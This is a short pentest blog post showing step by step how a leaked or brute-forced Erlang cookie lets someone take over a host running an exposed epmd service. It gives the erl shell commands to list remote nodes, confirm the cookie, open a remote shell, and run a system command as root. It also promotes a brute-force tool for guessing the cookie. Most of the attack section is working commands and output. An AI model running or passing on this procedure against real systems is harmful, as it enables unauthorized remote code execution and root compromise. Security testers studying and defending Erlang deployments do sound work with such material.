In one of the last pentests we’ve found an epmd (Erlang port mapper daemon) listening on a target system (tcp/4369). It is used to coordinate distributed erlang instances, but also can lead to a RCE, given one knows the so called “authentication cookie”. Usually, this cookie is located in ~/.erlang.cookie and is generated by erlang at the first start. If not modified or set manually it is a random string [A:Z] with a length of 20 characters. If an attacker gains this cookie, a RCE is quite easy – as I like to describe below.
greif@baldr ~ $ erl -cookie YOURLEAKEDCOOKIE -name test2
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
Eshell V8.1 (abort with ^G)
First, we have to start an erlang shell with the leaked cookie and a (network-)name [this enables the distribution feature].
(test2@baldr.local)1> net_adm:names('target.fqdn').
{ok,[{"test",37453}]}
On the second step, we have to get a list of registered erlang instances and the ports they are listening on from the remote epmd [replace ‘target.fqdn’ with the targets FQDN]
(test2@baldr.local)2> net_adm:ping('test@target.fqdn').
pong
To test connectivity we can ping the remote erlang instance [the pong here shows that your cookie is correct].
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
Eshell V8.1 (abort with ^G)
At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
… aaaand there goes the RCE.
If you don’t manage to leak the cookie, no worries, erlang will not check for any bruteforce attempt (;. For an automated approach I quickly wrote a small tool which you can find here. For now you will need to change the IP and Port of the remote erlang instance in the last line of src/epmd_bf.erl and run ‘make test’ to start the brute force.
Cheers and happy RCE
/daniel
P.S.: [A:Z]^^20 tries still take some time so be patient